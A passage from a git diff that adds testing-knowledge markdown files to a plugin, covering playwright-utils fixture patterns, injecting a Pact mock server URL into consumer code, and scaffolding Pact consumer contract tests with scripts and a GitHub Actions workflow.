+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
